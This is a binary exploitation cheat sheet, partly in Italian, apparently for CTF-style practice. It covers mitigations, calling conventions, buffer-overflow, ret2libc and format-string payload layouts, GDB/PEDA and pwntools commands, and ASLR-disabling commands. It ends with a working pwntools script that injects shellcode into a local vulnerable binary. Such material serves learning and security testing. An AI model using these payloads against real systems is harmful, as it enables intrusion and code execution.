KNX BINARY EXPLOITATION CHEAT SHEET

Binary Exploit classification

Buffer Overflow

Heap Overflow

Format Strings

Integer Overflow

Off-by-one

Race Conditions

Stack Clash

Binary Exploit Mitigations

DEP (Data Execution Protection) (NX, XN, XD, W^X)

ASLR (Address Space Layout Randomization)

PIE (Position independent Executables)

RELRO (Relocation Read Only)

CANARY (Stack guard)

ASCII Armor

32bit Calll Convention

Args: stack right to left

Return: EAX

32bit Syscall

Syscall number: EAX

Args: ebx, ecx, edx, esi, edi

Args +6: struct in ebx

Return: EAX

Instruction: int 0x80

64bit Calll Convention

Args: rdi, rsi, rdx, rcx, r8, r9, stack right to left

Return: RAX

64bit Syscall

Syscall number: RAX

Args: rdi, rsi, rdx, rcx, r8, r9

Return: RAX

Instruction: syscall

BOF “Vanilla” payload

Buff+ ret +shellcode

Buff+ ret (shellcode addr in env)

Shellcode + padding + ret

Ret2libc

Buff+ function + ret + args

Buff+ system + exit + /bin/sh

Buff+system+exit+/bin/sh env

Chained Ret2libc

[&function]+[&rop_gadget]+[&arg1]+[&arg2]+[&next_function]

ASLR 32bit Bruteforce

```
while true; do ovrflow $(cat input); done
```

Ret2PLT

[func address@plt]+[return]+[arg1]+[arg2]

GDB I/O

Use command output as an argument

```
$ r $(your_command_here)
```

• Use command as input

```
$ r < $(your_command_here)
```

• Write command output to file

```
$ r > filename
```

• Use file as input

```
$ r < filename
```

Attack Vector

Ret2any

- stack
- data / heap
- text
- library (libc)
- code chunk (ROP)

Control input buffer

- stack pivoting

ASLR Randomization

Randomized

- stack address
- heap address
- library address

NOT randomized

- .text / .plt / .init / .fini
- .got / .got.plt / .data / .bss
- .rodata

DEP Basics

No one memory segment can be writeable and executable at the same time

Common data segments

- Stack, heap
- .bss .ro .data

Common code segments

- .text .plt

Disable ASLR

```
echo 0 | tee /proc/sys/kernel/randomize_va_space
```

```
sudo sysctl -w kernel.randomize_va_space=0
```

Library addresses

ldd program

Keep shell open

```
cat <(python -c 'print "A"*0x6c + "BBBB" + "\xf0\xb6\x64\x55" + "\xfa\x83\x04\x08"*2 + "\x00\x00\x00\x00"') - | ./a.out
```

```
(python -c "print 'a' *280+ '\x9d\x06\x40\x00\x00\x00'";cat) | ./vuln
```

```
(python -c 'import struct; print "A"*28 + struct.pack("I", 0x080484cb)'; cat -) | ./vuln
```

Find function address

```
objdump -d vuln2 |grep give_shell
```

Check stack permissions

```
./vuln & cat /proc/<PID>/maps
```

Read EIP after segfault

```
dmesg |tail -n 1
```

```
python -c 'print "A"*140 + "BBBB"' | strace ./3_vulnerable
```

Python exploit OneLiner

```
python -c 'print "A"*140 + "BBBB" + shellcode' | ./vuln
```

Pattern offset OneLiner

```
pattern offset `echo 0x62413961 |xxd -r | rev`
```

```
pattern offset $(echo 0x`dmesg | tail -n1 | awk '{print $6}'` |xxd -r | rev)
```

Ret offset BruteForce

Python script:

```
from struct import *
from sys import *
print "A"*80 +  pack("I", 0xffffca00+int(argv[1])) + shellcode
```

Bash:

```
for a in $(seq 0 200); do echo $a; ./chal $(python knx.py $a) ; done
```

GCC senza mitigations

```
gcc -m32 -o nome -fno-stack-protector -zexecstack nome.c
```

Enable Core Dump

```
ulimit -c unlimited
```

Find offset outside GDB

Bruteforce

analisi del core dump con gdb

Core dump static path

```
cat /proc/sys/kernel/core_dump
```

```
echo "/tmp/core.%s.%e.%p" > /proc/sys/kernel/core_pattern
```

GDB PEDA Commands

```
checksec
distance 0x7fffffffe4f0 0x7fffffffe528
elfsymbol
pattern create 64
pattern offset 0x48414132
procinfo
vmmap
find /bin/sh
set follow-fork-mode child
```

PwnTool Commands

```
from pwn import *
context(arch='i386', os='linux')
binary = ELF("some_challenge")
libc = ELF("some_libc")

r=process("./some_challenge")
r=remote("127.0.0.1",1337)
write = p32(binary.symbols["write"])
r.sendline("This sends a string with a newline appended to the end")
r.send("This also sends a string")
leak_addr = u64(p.recv(8))
libc_base_addr = leak_addr - libc.symbols['read']

system_address = libc_base_addr + libc.symbols['system']
sh_address = libc_base_addr + next(libc.search("/bin/sh\x00"))
p = process(program, timeout=2)
p.sendline(cyclic(1024))
p32(address)
p.interactive()
log.success(“blah blah blah”)
log.info("Start Stage 1)
p32(elf.plt['puts'])
p32(elf.symbols['main'])
shellcode = asm(shellcraft.linux.sh())
r.recv()

de = DynELF(leak, puts_leaked)
system = de.lookup('system', 'libc')
p32(elf.got['puts'])
```

KNX BINARY EXPLOITATION CHEAT SHEET

Format strings classic exploitation attack (write 2 bytes at time)

1. Find where input parameter is written into stack: AAAA%x%x%x%x (%x write a lot of times until we can see 414141 in the output

2. trovare l'indirizzo che ci serve sovrascrivere (in questo esempio il valore check all'indirizzo 0xbffffb28)

3. sapere cosa vogliamo scrivere in quell'inidirizzo :) (in questo caso 0xdeadbeef)

4. Una volta determinato il numero di parametro che scrive nello stack (in questo caso il 9) sostituire il %x con il %n che effettua la scrittura

5. Costruire la prima parte dell'indirizzo partendo dai byte meno significativi quindi in questo caso beef

6. calcolare il valore decimale di beef e sottrarre il numero di byte relativo alla lunghezza della format string (aggiustare un po in base ai risultati)
$(python -c'print "\x28\xfb\xff\xbf"')%x%x%x%x%x%x%x%48832x%hn

7. ora che la parte finale (beef) è scritta, aggiungere la prima parte ricordandosi che stiamo scrivendo due byte alla volta (%hn), altrimenti si puo fare un byte alla volta usando solo %n. Se si usano due byte alla volta bisogna passare i due indirizzi distanti 2 byte, altrimenti passare 4 indirizzi distanti un byte uno dall'altro
$(python -c'print "\x28\xfb\xff\xbfJUNK\x2a\xfb\xff\xbf"')%x%x%x%x%x%x%x%48832x%hn. SI mette JUNK che sono 4 byte per padding (cosniderare che al valore decimale saranno da aggiungere 4 byte)

8. Costruire l'ultima parte dell'indirizzo (dead) sottraendo la prima parte (dead) alla seconda (beef) dead-beef = 1FBE = 8126
NB: se la sottrazione da valore negativo, si aggiunge un 1 davanti al rpimo numero per dare risultato poisitivo

9. Testare il tutto e nel caso aaggiustare un po $(python -c'print "\x28\xfb\xff\xbfJUNK\x2a\xfb\xff\xbf"')%x%x%x%x%x%x%x%48832x%hn%8126x%hn

KNX Buffer Overflow Automatic PWN with pwntool (auto find EIP, return address and generate shellcode)

```
#!/usr/bin/python

from pwn import *
context.arch='i386'
program = "./vuln1-nocanary-execstack"
shellcode = asm(shellcraft.linux.sh())

log.info("Start Stage 1: Finding EIP offset and Shellcode return address")
p = process(program, timeout=2)
p.sendline(cyclic(1024))
p.recvall()
core = Core('core')
eip  = cyclic_find(core.eip)
log.info("EIP control @ %i" % eip)
ret  = core.esp
log.info("Shellcode return address@ %x" % ret)

log.info("Start Stage 2: Exploit")
p = process(program, timeout=2)
payload = "A"* eip + p32(ret) + shellcode
p.send(payload)
p.send("\n\nid\n")
p.interactive()
```